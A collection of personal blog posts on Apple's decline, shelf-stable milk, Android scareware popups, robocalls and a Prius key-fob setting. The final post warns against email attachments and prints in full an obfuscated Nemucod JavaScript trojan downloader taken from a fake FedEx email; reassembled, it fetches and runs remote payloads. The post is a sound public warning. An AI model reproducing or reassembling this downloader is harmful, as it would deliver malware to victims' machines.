Philippe Kahn, Prophet

I was on site in 1986, the year Philippe Kahn, CEO of Borland, had the temerity to say in the midst of a crowd of Mac enthusiasts in San Francisco, that the Macintosh was a piece of shit.  That took a lot of gumption; I’m reminded of the scene in The Patriot where Mel Gibson walks into a bar and shouts, “God save the King,” exiting hastily in front of a cloud of knives and axes.

He was wrong then.

128k-macintosh

The 128K Mac was a thing of beauty and innovation (at least for folks who had not been inside the Palo Alto Research Center.) It introduced the world to the concept of a real graphical user interface, and made things possible in the world of graphics, sound, fonts, gaming, design, music, and artwork that would never have been possible in the IBM world – even by adding a dozen cards – more so as the machine morphed into faster and colorized versions. Dark Castle, HyperCard™, designable fonts, MIDI, user-accessible resources… they were all so fun!

The beautiful 1988 Battle Chess game by MacPlay riffed on the biggest disadvantage at the time – the price differential. “Pawn takes King” has the pawn whip out a Macintosh Price List, whereupon the king suffers a fatal coronary.

pawn-takes-king

Flop for flop, the Macintosh machines were about half again as costly as a comparable IBM device, and remain so to this day – but back then the “coolness” factor was enough to overcome that little annoyance. From 1984 until about 1990, I was a devotee.

But Kahn was just 30 years too early.

My wife has an iPod, and years ago one of her kids gave her an iTunes gift card for some music. So we had to set up an AppleID for her to be able to use it. Hold that thought.

Recently she acquired an iPad from her mother, and it was necessary to switch ownership of the pad to her account. Hold that thought.

For about six months last year, I worked for a cloud storage company as a tech support agent, and with remote tools I delved into a lot of Mac systems while I helped customers with their tech issues.

From the experiences I had trying to navigate the Apple environment to resolve what should have been the simplest of problems, I can safely go on record as saying that the Mac world is a place of overpriced, underpowered hardware, combined with a byzantine tangle of AppleIDs, iTunes (an abomination of desolation if ever I saw one, a heavy-handed store thinly disguised as an impossibly cumbersome media management tool), iCloud, Photo Library, and other bits and pieces which form a virtual nightmare to navigate. For Mogg’s sake, they even make you create an account to look at their help forums. And when you try to do that, you hit a brick wall.

applehqiz

My Username is OK. I agreed to the Agreement. “Please check the form for details” shows virtually no additional information. Thanks, Apple.

dongles

Add to this some recent technology decisions that seem difficult to fathom, including a plethora of dongles, the removal of a standard audio jack, and those easily-lost wireless earbuds, and it makes me wonder why anyone would go with Apple hardware any longer. For the longest time a relative imperviousness to viruses and malware was a big draw, but that era has ended, and there’s not much a Mac can do that a PC can’t, and for about 60% of the price. The “coolness” factor is just not there any longer.

a_very_long_flight

It’s been a long time since I’ve been religiously attached to any hardware or operating system. I’ve used so many, it’s basically “whatever gets the job done.” But for a brief period, the Mac was really a wonderful, dazzling, entertaining and useful new thing. Today, I’m pretty convinced that the company has lost its way and its vision when it comes to computers. I don’t hate Apple; I’m really hoping they can turn themselves around. If they don’t, it’s a sure bet that somewhere in the future, another Steve Jobs is waiting.

The Old Wolf has spoken.

Shelf-safe milk

Apparently, shelf-safe milk (the link is a plug for Tetra Pak) has been a thing since the 1960s, thanks to high-power pasteurization (ultra-high-temperature) and packaging technology.

I first learned about this phenomenon while living in Austria in the 70s, where they called it Haltbarmilch (storable milk).

almliesl-h-milch-2953849

It had a slightly different taste when warm, but when refrigerated it’s hard to tell the difference, and this technology allows milk to be used in countries where refrigeration and storage is difficult.

It’s not unknown here in the US either:

parmalat-shelf-stable-milk

I’ve kept a few of these in my pantry at times for those odd occasions when we happened to run out, and it’s more than acceptable. You can still buy it at places like WalMart; unfortunately, Parmalat had some financial difficulties, but is still alive and kicking.

Speaking of milk, I recall one of my oddest encounters was in Italy in the 60s, when milk was distributed in tetra paks (the Tetra Pak company is named after these oddly-shaped cartons, developed by Erik Wallenberg, even though the packaging itself is no longer popular.)

milk-tetra-pak-italy

I’m not sure why these were so popular, but they were. And Italian milk tasted really odd to an American palate, but I got used to it and occasionally miss the flavor.

Again, these were also used in other countries, but I don’t ever recall encountering one here, even in my childhood.

milk-tetra-pak

Milk: It does a body good.

The Old Wolf has spoken.

 

 

The Android Phone Virus Scam

I’ve written about this gambit before, but today I encountered an especially egregious example of one.

While perusing an article found at reddit, one of the pages I visited popped up with this:

Screenshot_2016-07-30-22-11-52

My phone started buzzing like crazy, the progress bar went all the way to the right, and i was told that I had a myriad of viruses. All I had to do was download “Psafe” to get my phone clean again.

As I tried to back out of this steaming pile of moose droppings, I was presented with the following sequence of screens, with concomitant “Urgent!” vibrations – in other words, there was no way out:

This slideshow requires JavaScript.

If these popups are to be believed, my poor Android had become virus central, and I might as well just throw it away and buy a new one.

But by now you should know that this is all nonsense, designed to trick the unwary and the gullible into downloading Psafe, a supposed protection application from the Play Store. How a legitimate application, if that’s what it is, can resort to such scummy promotion techniques is beyond me – unless it’s the typical drivel put out by affiliate marketers. Be that as it may, tactics like this are enough to sour me on a piece of software forever – and tell others to stay away from it as well.

Another example.

Screenshot_2016-07-30-07-42-10

I really work hard to keep the content of this blog family-friendly. This kind of stuff makes me want to send vulgar open letters to the people who do this, but I’ll have to content myself with putting it out there so other people might also be warned.

If you get junk like this on your Android, it’s not infected. Restart your phone you can’t get out of the loop, and if it’s really bad, reinstall your browser.

And never, ever, use Psafe for anything – a company that stoops to these methods of despicably dishonest advertising does not deserve your business.

The Old Wolf has spoken.

 

The Robocalls are Getting Worse

I’ve had five today alone, and now my auto-reject list is full.

Robocall1

Most recently I’ve seen:

  • “Business Opportunity” scam (multi-level marketing, one-up gifting scams, etc.)
  • “Congratulations! Your phone number has been randomly selected by Expedia / Travelocity / Whatever to receive two vacations for a promotional price of $799.00!”
  • “Business Loan Center”

All of these have reps working in call centers in India, the Philippines, and other such places.

I’ve written about these calls before, but the landscape has changed a bit. Instead of using dead numbers to use for their caller ID spoofed number, they are using randomly-generated or dynamically-created phone numbers; since my phone number is based in Utah, I’ve been getting a lot of calls that seem to be from local numbers but which actually originate elsewhere. The Caller ID number, however, may belong to a real person.

I’ve even been called by people asking me to “stop calling them” – clearly my own number is showing up on other people’s screens.

Articles like this one at HuffPo give a few ideas for people with land-lines, but the sad truth is that there is little to nothing that can be done to stop this plague unless some serious effort is made at the legislative level, and our political leaders probably don’t even understand the full scope of the issue. Witness the CAN-SPAM act, for which our legislators roundly congratulated each other, and which actually increased the amount of spam being sent out by unethical and unscrupulous operations.

The FTC has not been idle, but it’s like a hydra – for every bad actor they shut down, ten more seem to spring up. This infographic gives a lot of good information about how the calls are driven, and why the problem is so massive.

The best thing I can think of is for people affected to contact their representatives and in no uncertain terms express how pissed off they are with the criminals who are interrupting our lives multiple times a day with fraudulent proposals.

Maybe we could hire some robocalling outfits to flood their phone lines 24 hours a day with automated requests to do something about the problem؟

The Old Wolf has spoken.

 

 

RTFM, and never trust the dealer.

2007-toyota-prius-5dr-hb-natl-angular-front-exterior-view_100271619_s
Eight years.

Eight years of frustration could have been avoided had I simply taken the trouble to read my 2007 Prius’ Owner’s Manual when I bought the thing.

Now, I love my Prius. I hope it lasts forever because she’s been really good to me. But it has a few annoying quirks, and one of my biggest complaints was that with the smart key system, you touch the driver’s side door and the driver’s side door unlocks – but only that one. (Touching the other doors would unlock all of them, but I wouldn’t generally do that when using the car alone.)

I’d get in, go to work, and then try to get in the back door or the hatchback to get a briefcase or something, and the door was still locked. A first world problem to be sure, but when it’s raining out, it was a major pain to have to get back in the front door, press the “unlock button,” and then be able to open the other doors. Finally my patience had worn thin enough that I decided to see if it could be fixed.

I called the dealership where I bought the car (now 60 miles away), and asked them if this feature could be programmed. The first lady I spoke to said, “Sure, just bring it in.” Wonderful! Then my cynicism meter redlined, and I called a Toyota dealership closer to me. “No,” they said, “no, that function cannot be changed.”

BS Meter

Dang. Whom to trust? I called the first dealership back again, and explained what the other had said. I didn’t want to drive all the way up there only to be told, “Oh, we were wrong.” I got a plate of waffles this time: “Well, we need to have you come up and have the technician hook up his computer and see if your vehicle allows for that function before we’ll know for sure. The diagnostic charge will be $ABunchOfMoney, and if he can change the function, it will be $ALotMore.” Thank you, I appreciate your time. Click.

Good thing I didn’t drive all the way up based on the first “Sure, we can do that.” Now what to do? Once again I put it on the back burner.

About a month later, I decided to do some more searching on the internet, and  I finally discovered this video. Fully half of it is advertising, and the remainder is almost unwatchable, but props to whomever made it because it led me to a solution. The first thing I noticed was that the kid in the video had pulled out the Owner’s Manual. At that point I stopped watching the Cloverfield-style camera work, and went to drag out my own.

Really? You mean, the answer might just be in the Owner’s Manual?

The 2007 Prius has a slightly different manual than the 2008 shown in the video, but sure enough, after a bit of searching I found something in the “Smart Entry and Start System” section; I had to hunt around because the index in the manual was probably written by a drunken lemur pay attention Toyota.

manual

So it turns out that if I held down the “lock” and “panic” button together for about 5 seconds, the car makes a bunch of beeps and the unlocking pattern rotates to the next option in the cycle. Done. Free. Heaven knows how much Dealer A would have charged me, or if they would have even been able to figure it out themselves.

I’ve learned a couple of lessons here.

Lesson 1: If I ever buy a new car, I’ll be sure to Read The Freaking Manual cover-to-cover and take notes. Yesterday as I was happily telling my wife about my triumph, she noted with her usual dry wit that I might even discover other wonderful things if I were to do so with this one. Make it so.

rtfm

Lesson 2: Never trust a car dealership to tell you the absolute truth. Some will outright lie to you, and others just won’t know. Dealer 1 told me that they could fix my problem just to get me in the shop, without even really knowing if the issue was fixable or not. Dealer 2 was ignorant. In the interest of fairness, folks who work in such places are just people; car models change every year, each car has a myriad of different features, and it would be hard for even a top service technician to keep abreast of all of them. Moreover, after 8 years there’s a high probability that the folks working there have only been on the job for a few years and don’t know as much about “older models.” That said, there is a certain expectation of competence when one reaches out to a dealership, so I was left with some residual disappointment that nobody bothered to give me accurate information.

But I’m pleased. A small burr has been removed from under my saddle, and the relief is palpable.

The Old Wolf has spoken.

Again: Don’t click on email attachments from unknown people.

This cannot be stressed enough: Don’t click on email attachments from unknown people.

Edit: Friends have pointed out that it’s best to be wary of attachments appearing to be from people you know, if you aren’t expecting one. Contact lists can be stolen and people impersonated.

pc-trojan

Yesterday this email showed up in my inbox:

To: [edited]
Subject: We could not deliver your parcel, #00576180
From: “FedEx International Ground” <allan.horton@web2.pnet.xcon.it>

Dear Customer,

This is to confirm that one or more of your parcels has been shipped.
Delivery Label is attached to this email.

Sincerely,
Allan Horton,
Operation Agent.
(C) 2014 FedEx. The content of this message is protected by copyright and trademark laws. All rights reserved.

Attached to the email was a file called “FedEx_ID_00576180.zip.”

Curious as ever, in an isolated environment I unpacked the zip file, and the result was immediately flagged and quarantined by Microsoft Security Essentials as containing the file “FedEx_ID_00576180.doc.js,” which contained “TrojanDownloader:JS/Nemucod.F

What that means is that this is a javascript file containing executable code which would go out to the internet and download horrible things onto your computer – adware, keyloggers, botnet software, or even never-sufficiently-to-be-damned ransomware like Cryptolocker which could encrypt all your files and demand hundreds of dollars for a decryption key.

When I examined the file contents, it looked like this:

function hhhhhhhhhhhhhhh(){ccccc += ‘+”‘; jjjjjjjjjjjjjjj(); };  function iiiiiiiiiiiiiiii(){ccccc += ‘ction’; tttttttttttttt(); };  function ggggggggggggggg(){ccccc += ‘e();’; xxxxxxxxx(); };  function fffffff(){ccccc += ‘= w’; llllll(); };  function yyyyyyyyyyyyyyyy(){ccccc += ‘new ‘; wwwwwwwwwwwwwwww(); };  function gggggggggggggggg(){ccccc += ‘(“WS’; qqqqqqqqqqqqq(); };  function zzzzzzzzzzzz(){ccccc += ‘t.php’; llllllllllllll(); };…

In other words, it looked like garbage. Refuse. Filth. Muck. Boo! Boo! Booooooo! But when I massaged the file a little, putting each “function” call on a new line, this is what came out:

function hhhhhhhhhhhhhhh(){ccccc += ‘+”‘; jjjjjjjjjjjjjjj(); };
function iiiiiiiiiiiiiiii(){ccccc += ‘ction’; tttttttttttttt(); };
function ggggggggggggggg(){ccccc += ‘e();’; xxxxxxxxx(); };
function fffffff(){ccccc += ‘= w’; llllll(); };
function yyyyyyyyyyyyyyyy(){ccccc += ‘new ‘; wwwwwwwwwwwwwwww(); };
function gggggggggggggggg(){ccccc += ‘(“WS’; qqqqqqqqqqqqq(); };
function zzzzzzzzzzzz(){ccccc += ‘t.php’; llllllllllllll(); };
function jjjjjjjj(){ccccc += ‘dys’; zzzzzzzz(); };
function pppppppppp(){ccccc += ‘dl(51’; llllllll(); };
function xxxxxxxxxxxx(){ccccc += ‘ xa’; hhhhhhhhhhhhhh(); };
function ssssssssssss(){xx += ‘a’; ccccc += ‘n ‘; gggggggggg(); };
function wwwwwwwwwww(){ccccc += ‘de(92’; ssssssssssssssss(); };
function bbbbbbbbb(){ccccc += ‘bluee’; jjjjjjjjj(); };
function qqqqqqqqqqqqqq(){ccccc += ’00’; iiiiiiiiii(); };
function eeeeeeeee(){ccccc += ‘iv’; wwwwwwww(); };
function eeeeeeeeee(){ccccc += ‘ySt’; ggggggg(); };
function vvvvvvvvvvvvvv(){ccccc += ‘o.sta’; wwwwwww(); };
function pppppppppppppppp(){ccccc += ‘; ‘; aaaaaaaaaaaaa(); };
function ddddddddddddddd(){ccccc += ‘) ‘; ppppppp(); };
function dddddddddd(){ccccc += ‘ct’; ssssssssssssss(); };
function pppppp(){ccccc += ‘arCo’; wwwwwwwwwww(); };
function xxxxxxxxxxxxxx(){ccccc += ‘ze’; aaaaaaaaaa(); };
function iiiiiii(){ccccc += ‘ength’; gggggggggggg(); };
function yyyyyy(){ccccc += ‘r xo ‘; cccccccc(); };
function pppppppppppppp(){ccccc += ‘a.p’; mmmmmmm(); };
function uuuuuuuuuuu(){ccccc += ‘ariau’; iiiiiiiiiiiiiiii(); };
function ggggggggggg(){ccccc += ‘y)’; pppppppppppppppp(); };
function pppppppppppp(){ccccc += ‘E0707’; qqqqqqqqqqqqqq(); };
function nnnnnn(){ccccc += ‘.nidh’; nnnnnnnnnnnnnnnn(); };
function jjjjjjjjjjj(){ccccc += ‘0B’; eeeeeeeeeeeeeeee(); };
function fffffffffffffff(){ccccc += ‘ound’; hhhhhhhhhh(); };
function mmmmmmmmmmmmmm(){ccccc += ‘ry’; mmmmmmmm(); };
function lllllllllll(){ccccc += ‘ A’; dddddddddd(); };
function xxxxxxxxxx(){ccccc += ‘ }; ‘; ggggggggg(); };
function llllllllllllll(){ccccc += ‘?r’; ddddddddddd(); };
function ccccccccc(){ccccc += ‘A01’; oooooo(); };
function zzzzzzzzzzzzzzzz(){ccccc += ‘xe”; ‘; rrrrrrrrrrrr(); };
function ttttttttttttttt(){ccccc += ‘SXML2’; jjjjjjjjjjjj(); };
function xxxxxxxxxxxxx(){ccccc += ‘} cat’; ccccccccccccc(); };
function jjjjjjjjj(){ccccc += ‘cho’; hhhhhhh(); };
function qqqqqqqq(){ccccc += ‘ct’; nnnnnnnnnnnnnn(); };
function zzzzzzzzzzz(){ccccc += ‘050A2’; rrrrrrrr(); };
function vvvvvvvvvvvvv(){ccccc += ‘dn ‘; lllllllll(); };
function nnnnnnnn(){ccccc += ‘ } ‘; hhhhhhhhhhhhhhhh(); };
function aaaaaaaaaaaa(){ccccc += ‘xo.op’; kkkkkkkkkkk(); };
function sssssssssssss(){ccccc += ‘ (xa’; xxxxxxxx(); };
function hhhhhhhhhhh(){ccccc += ‘ xa.’; qqqqqqqqqqqqqqqq(); };
function wwwwwwww(){ccccc += ‘eX’; ddddddddddddd(); };
function kkkkkkk(){xx += ‘v’; ccccc += ‘tio’; ssssssssssss(); };
function uuuuuuuuuuuuuuuu(){ccccc += ‘eXObj’; bbbbbbbbbb(); };
function ggggggg(){ccccc += ‘ate’; zzzzzzzzzzzzz(); };
function ffffffffffffff(){ccccc += ‘”&id’; ddddddd(); };
function rrrrrrrr(){ccccc += ‘407’; jjjjjjjjjjj(); };
function vvvvvvvv(){ccccc += ‘.read’; eeeeeeeeee(); };
function zzzzzzzzz(){ccccc += ‘515’; pppppppppppp(); };
function sssssssssss(){ccccc += ‘ndom(‘; iiiiiiiiiiii(); };
function cccccccccccc(){ccccc += ‘ent’; bbbbbbbbbbbbbbbb(); };
function rrrrrrrrrr(){ccccc += ‘en()’; sssssss(); };
function iiiiiiiiiiii(){ccccc += ‘)*100’; dddddddddddd(); };
function kkkkkkkkkk(){ccccc += ‘ A’; qqqqqqqq(); };
function qqqqqqqqqqqq(){ccccc += ‘%TEMP’; aaaaaaaa(); };
function mmmmmmmmmmmmm(){ccccc += ‘ct(“M’; ttttttttttttttt(); };
function ccccccc(){ccccc += ‘”h’; rrrrrrrrrrrrrr(); };
function sssssssss(){ccccc += ‘= 1)’; xxxxxxxxxxxxxxx(); };
function cccccccccc(){ccccc += ‘e(xo’; bbbbbbbb(); };
function rrrrrrrrrrrrrrr(){ccccc += ‘ =’; ffffffffffff(); };
function rrrrrrrrrrrr(){ccccc += ‘var’; lllllllllllll(); };
function xxxxxxxx(){ccccc += ‘.si’; xxxxxxxxxxxxxx(); };
function ggggggggggggg(){ccccc += ‘104A0’; ccccccccc(); };
function mmmmmmmmmm(){ccccc += ‘= 1; ‘; kkkkkkkkkkkkk(); };
function bbbbbbbbbbbbbbb(){ccccc += ‘ b’; rrrrrrrrrrrrrrr(); };
function wwwwwww(){ccccc += ‘tu’; tttttttttttt(); };
function sssssss(){ccccc += ‘; xa.’; uuuuuu(); };
function lllllllll(){ccccc += ‘= 1;’; qqqqqqqqqq(); };
function llllll(){ccccc += ‘s.’; ttttttttttt(); };
function rrrrrrrrrrrrrrrr(){ccccc += ‘ar ‘; ssssss(); };
function uuuuuuuuuuuuuuu(){ccccc += ‘ngs’; nnnnnnn(); };
function gggggggggggg(){ccccc += ‘; ‘; lllllll(); };
function fffffffff(){ccccc += ‘r+’; ffffffffffffff(); };
function jjjjjjjjjjjjjjj(){ccccc += ‘.e’; zzzzzzzzzzzzzzzz(); };
function dddddd(){ccccc += ‘ech’; qqqqqq(); };
function eeeeeeee(){ccccc += ‘&& x’; vvvvvvvvvvvvvv(); };
function uuuuuuuu(){xx += ‘e’; ccccc += ‘func’; kkkkkkk(); };
function aaaaaaaaaaaaaa(){ccccc += ‘[i]’; uuuuuuuuuuuuuu(); };
function qqqqqqqqqqqqqqq(){ccccc += ‘o.sen’; wwwwwwwwwwwwww(); };
function ssssssssss(){ccccc += ‘; for’; llllllllllllllll(); };
function lllllllllllll(){ccccc += ‘ dn ‘; dddddddddddddd(); };
function aaaaaaaaaaaaaaa(){ccccc += ‘.Ru’; ccccccccccccccc(); };
function ppppppp(){ccccc += ‘{ va’; qqqqqqqqq(); };
function rrrrrrrrr(){ccccc += ‘r ws ‘; llllllllllll(); };
function bbbbbbbb(){ccccc += ‘.Resp’; mmmmmmmmm(); };
function jjjjjjjjjjjjjj(){ccccc += ‘pt.S’; aaaaaaaaaaaaaaaa(); };
function cccccccccccccc(){ccccc += ‘000’; uuuuuuuuuuuuu(); };
function cccccccccccccccc(){ccccc += ‘it’; bbbbbbbbbbbbb(); };
function xxxxxx(){ccccc += ‘);’; bbbbbbbbbbbb(); };
function ssssss(){ccccc += ‘i=0;’; yyyyyyyyyyyyy(); };
function yyyyyyyyyyyyyyy() { this[xx](ccccc); };
function llllllllllllllll(){ccccc += ‘ (v’; rrrrrrrrrrrrrrrr(); };
function iiiiii(){ccccc += ‘)+S’; hhhhhh(); };
function eeeeeeeeeeee(){ccccc += ‘od’; ggggggggggg(); };
function ccccccccccc(){ccccc += ‘h.r’; fffffffffffffff(); };
function zzzzzz(){ccccc += ‘}; ‘; llllllllll(); };
function aaaaaaaaaaaaaaaa(){ccccc += ‘hell’; pppppppp(); };
function gggggggg(){ccccc += ‘0;’; bbbbbbbbbbbbbb(); };
function hhhhhhhh(){ccccc += ‘B.S’; bbbbbbb(); };
function pppppppp(){ccccc += ‘”); v’; kkkkkkkkkkkkkk(); };
function wwwwwwwwwwwww(){ccccc += ‘nd’; jjjjjjjjjj(); };
function iiiiiiiiii(){ccccc += ’01’; sssssssssssssss(); };
function gggggggggg(){xx += ‘l’; ccccc += ‘dl(fr’; kkkkkkkk(); };
function nnnnnnn(){ccccc += ‘(“‘; qqqqqqqqqqqq(); };
function vvvvvvvvvvvvvvv(){ccccc += ‘oF’; yyyyyyyyy(); };
function iiiiiiii(){ccccc += ‘.f’; ttttttttttttt(); };
function jjjjjj(){ccccc += ‘} }; ‘; pppppppppp(); };
function wwwwwwwwww(){ccccc += ‘om”‘; jjjjjjjjjjjjjjjj(); };
function mmmmmmmm(){ccccc += ‘ { ws’; aaaaaaaaaaaaaaa(); };
function oooooooooooooo(){ccccc += ‘m”);’; hhhhhhhhhhh(); };
function ggggggggg(){ccccc += ‘try’; iiiiiiiiiii(); };
function vvvvvvvvv(){ccccc += ‘en’; zzzzzzzzzzzz(); };
function hhhhhh(){ccccc += ‘tring’; iiiiiiii(); };
function mmmmmmm(){ccccc += ‘ositi’; ttttttttt(); };
function eeeeeeeeeeeeeee(){ccccc += ‘ct’; gggggggggggggggg(); };
function qqqqqqqqqqqqqqqq(){ccccc += ‘op’; rrrrrrrrrr(); };
function ttttttttttttt(){ccccc += ‘ro’; ppppppppppp(); };
function nnnnnnnnn(){ccccc += ‘/”+b’; aaaaaaaaaaaaaa(); };
function hhhhhhh(){ccccc += ‘stud’; yyyyyyyyyyyyyy(); };
function eeeeeeeeeeeeee(){ccccc += ‘; ‘; jjjjjj(); };
function tttttttt(){ccccc += ‘reak’; eeeeeeeeeeeeee(); };
function jjjjjjjjjjjjj(){ccccc += ‘ (dn’; aaaaaaa(); };
function eeeeee(){ccccc += ‘a = n’; iiiiiiiiiiiiiii(); };
function vvvvvvvvvvvv(){ccccc += ‘};’; xxxxxxxxxxxx(); };
function zzzzzzz(){ccccc += ‘”AD’; ddddddddd(); };
function zzzzzzzzzz(){ccccc += ‘n ‘; fffffff(); };
function aaaaaaaa(){ccccc += ‘%”‘; iiiiii(); };
function hhhhhhhhhhhhhh(){ccccc += ‘.clos’; ggggggggggggggg(); };
function yyyyyyyyyyyyy(){ccccc += ‘ i’; fffffffffffff(); };
function eeeeeeeeeeeee(){ccccc += ‘f (xo’; vvvvvvvv(); };
function uuuuuuuuu(){ccccc += ‘ { i’; eeeeeeeeeeeee(); };
function qqqqqqqqqq(){ccccc += ‘ x’; pppppppppppppp(); };
function oooooooooo(){ccccc += ‘je’; mmmmmmmmmmmmm(); };
function iiiiiiiiiii(){ccccc += ‘ { ‘; aaaaaaaaaaaa(); };
function nnnnnnnnnn(){ccccc += ‘dl(20′; ffffffffff(); };
function aaaaaaaaa(){ccccc += ’00)’; hhhhhhhhhhhhhhh(); };
function hhhhhhhhhhhhhhhh(){ccccc += ‘catc’; ssssssss(); };
function kkkkkkkkk(){ccccc += ‘fn,1’; kkkkkk(); };
function nnnnnnnnnnnnnnnn(){ccccc += ‘og’; nnnnnnnnnnnnn(); };
function ffffff(){ccccc += ‘TTP”‘; xxxxxx(); };
function ooooooooooo(){ccccc += ‘lit’; hhhhhhhhh(); };
function mmmmmm(){ccccc += ‘= 0; ‘; iiiiiiiiiiiii(); };
function nnnnnnnnnnnnnn(){ccccc += ‘iv’; uuuuuuuuuuuuuuuu(); };
function bbbbbbbbbb(){ccccc += ‘ect(‘; zzzzzzz(); };
function hhhhhhhhhh(){ccccc += ‘(Ma’; xxxxxxxxxxxxxxxx(); };
function ssssssss(){ccccc += ‘h (e’; ppppppppp(); };
function nnnnnnnnnnnnn(){ccccc += ‘.com ‘; bbbbbbbbb(); };
function kkkkkkkkkkkkk(){ccccc += ‘xa.wr’; mmmmmmmmmmmm(); };
function oooooo(){ccccc += ’10″‘; rrrrrrr(); };
function aaaaaaa(){ccccc += ‘ =’; sssssssss(); };
function ssssssssssssssss(){ccccc += ‘)+Mat’; ccccccccccc(); };
function kkkkkkkkkkkkkkk(){ccccc += ‘.c’; wwwwwwwwww(); };
function ddddddddd(){ccccc += ‘OD’; hhhhhhhh(); };
function iiiiiiiii(){ccccc += ‘”+f’; fffffffff(); };
function eeeeeeeeeeeeeeee(){ccccc += ‘09070’; hhhhhhhhhhhh(); };
function xxxxxxxxxxxxxxx(){ccccc += ‘ b’; tttttttt(); };
function yyyyyyyy(){ccccc += ‘n,2)’; ffffffffffffffff(); };
function mmmmmmmmmmmm(){ccccc += ‘it’; cccccccccc(); };
function bbbbbbbbbbbb(){ccccc += ‘ xo.o’; wwwwwwwww(); };
function llllllll(){ccccc += ’41’; vvvvvv(); };
function vvvvvvvvvvv(){ccccc += ‘ri’; uuuuuuuuuuuuuuu(); };
function zzzzzzzzzzzzz(){ccccc += ‘ ==’; aaaaaaaaaaa(); };
function hhhhhhhhhhhh(){ccccc += ‘517’; ggggggggggggg(); };
function tttttt(){ccccc += ‘r)’; ooooooo(); };
function ssssssssssssss(){ccccc += ‘ive’; dddddddddddddddd(); };
function fffffffffffff(){ccccc += ‘<b.l’; iiiiiii(); };
function qqqqqq(){ccccc += ‘ange ‘; nnnnnnnnnnnn(); };
function xxxxxxxxxxxxxxxx(){ccccc += ‘th.ra’; sssssssssss(); };
function qqqqqqqqqqqqq(){ccccc += ‘cri’; jjjjjjjjjjjjjj(); };
function ppppppppppp(){ccccc += ‘mCh’; pppppp(); };
function aaaaaaaaaa(){ccccc += ‘ > 5’; cccccccccccccc(); };
function ddddddd(){ccccc += ‘=545D’; zzzzzzzzz(); };
function jjjjjjjjjj(){ccccc += ‘Env’; yyyyyyyyyyy(); };
function aaaaaaaaaaaaa(){ccccc += ‘if’; sssssssssssss(); };
function iiiiiiiiiiiiiii(){ccccc += ‘ew’; kkkkkkkkkk(); };
function qqqqqqqqqqq(){ccccc += ‘; ‘; xxxxxxxxxxxxx(); };
function hhhhhhhhhhhhh(){ccccc += ‘lse)’; kkkkkkkkkkkk(); };
function nnnnnnnnnnnn(){ccccc += ‘= ‘; ooooooooooooo(); };
function dddddddddddddddd(){ccccc += ‘XObje’; eeeeeeeeeeeeeee(); };
function kkkkkkkk(){ccccc += ‘) { ‘; uuuuuuuuuu(); };
function ooooooooo(){ccccc += ‘200’; ddddddddddddddd(); };
function xxxxxxxxx(){ccccc += ‘ };’; xxxxxxxxxx(); };
function jjjjjjjjjjjjjjjj(){ccccc += ‘.sp’; ooooooooooo(); };
function kkkkkkkkkkkk(){ccccc += ‘; x’; qqqqqqqqqqqqqqq(); };
function kkkkkkkkkkkkkk(){ccccc += ‘ar f’; zzzzzzzzzz(); };
function jjjjjjjjjjjj(){ccccc += ‘.XMLH’; ffffff(); };
function zzzzzzzz(){ccccc += ‘tat’; dddddd(); };
function rrrrrrr(){ccccc += ‘ ,fa’; hhhhhhhhhhhhh(); };
function wwwwwwwww(){ccccc += ‘nrea’; jjjjjjjj(); };
function wwwwwwwwwwwwww(){ccccc += ‘d();’; nnnnnnnn(); };
function hhhhhhhhh(){ccccc += ‘(” “)’; ssssssssss(); };
function yyyyyyyyyyyyyy(){ccccc += ‘ios’; kkkkkkkkkkkkkkk(); };
function ppppppppp(){ccccc += ‘r) {‘; zzzzzz(); };
function bbbbbbbbbbbbbb(){ccccc += ‘ va’; yyyyyy(); };
function vvvvvvvvvvvvvvvv(){ccccc += ‘com p’; cccccccccccccccc(); };
function dddddddddddd(){ccccc += ‘0000’; aaaaaaaaa(); };
function lllllll(){ccccc += ‘i++)’; qqqqqqq(); };
function wwwwwwwwwwww(){ccccc += ‘ction’; oooooooooooooooo(); };
function zzzzzzzzzzzzzzz(){ccccc += ‘cum’; vvvvvvvvv(); };
function gggggg(){ccccc += ‘new’; lllllllllll(); };
function vvvvvv(){ccccc += ‘); ‘; nnnnnnnnnn(); };
function qqqqqqqqq(){ccccc += ‘r x’; eeeeee(); };
function ffffffffffff(){ccccc += ‘ “mun’; uuuuuuuuuuu(); };
function bbbbbbbbbbbbbbbb(){ccccc += ‘St’; vvvvvvvvvvv(); };
function ccccccccccccccc(){ccccc += ‘n(‘; kkkkkkkkk(); };
function qqqqqqq(){ccccc += ‘ { va’; rrrrrrrrr(); };
function kkkkkkkkkkk(){ccccc += ‘en(“‘; rrrrrr(); };
function ddddddddddd(){ccccc += ‘nd=’; iiiiiiiii(); };
function ooooooooooooo(){ccccc += ‘fun’; wwwwwwwwwwww(); };
function llllllllll(){ccccc += ‘if’; jjjjjjjjjjjjj(); };
function uuuuuuuuuuuuu(){ccccc += ‘) { ‘; vvvvvvvvvvvvv(); };
function sssssssssssssss(){ccccc += ’17’; zzzzzzzzzzz(); };
function yyyyyyyyy(){ccccc += ‘ile(f’; yyyyyyyy(); };
function wwwwwwwwwwwwwwww(){ccccc += ‘Act’; eeeeeeeee(); };
function llllllllllll(){ccccc += ‘= ‘; gggggg(); };
function uuuuuu(){ccccc += ‘type ‘; mmmmmmmmmm(); };
function tttttttttttttt(){ccccc += ‘s.’; vvvvvvvvvvvvvvvv(); };
function mmmmmmmmm(){ccccc += ‘onseB’; eeeeeeeeeeee(); };
function dddddddddddddd(){ccccc += ‘= ‘; gggggggg(); };
function ttttttttt(){ccccc += ‘on ‘; mmmmmm(); };
function ttttttttttt(){ccccc += ‘Expa’; wwwwwwwwwwwww(); };
function tttttttttttt(){ccccc += ‘s == ‘; ooooooooo(); };
function uuuuuuuuuu(){ccccc += ‘var’; bbbbbbbbbbbbbbb(); };
function ffffffffff(){ccccc += ’52);’; yyyyyyyyyyyyyyy(); };
function ffffffffffffffff(){ccccc += ‘; t’; mmmmmmmmmmmmmm(); };
function bbbbbbbbbbbbb(){ccccc += ‘faa’; nnnnnn(); };
function yyyyyyyyyyy(){ccccc += ‘ironm’; cccccccccccc(); };
function ooooooo(){ccccc += ‘ {}; ‘; vvvvvvvvvvvv(); };
function oooooooooooooooo(){ccccc += ‘()’; uuuuuuuuu(); };
function ccccccccccccc(){ccccc += ‘ch (e’; tttttt(); };
function mmmmmmmmmmm(){ccccc += ‘aveT’; vvvvvvvvvvvvvvv(); };
function rrrrrr(){ccccc += ‘GET”,’; ccccccc(); };
function uuuuuuuuuuuuuu(){ccccc += ‘+”/do’; zzzzzzzzzzzzzzz(); };
function iiiiiiiiiiiii(){ccccc += ‘xa.s’; mmmmmmmmmmm(); };
function bbbbbbb(){ccccc += ‘trea’; oooooooooooooo(); };
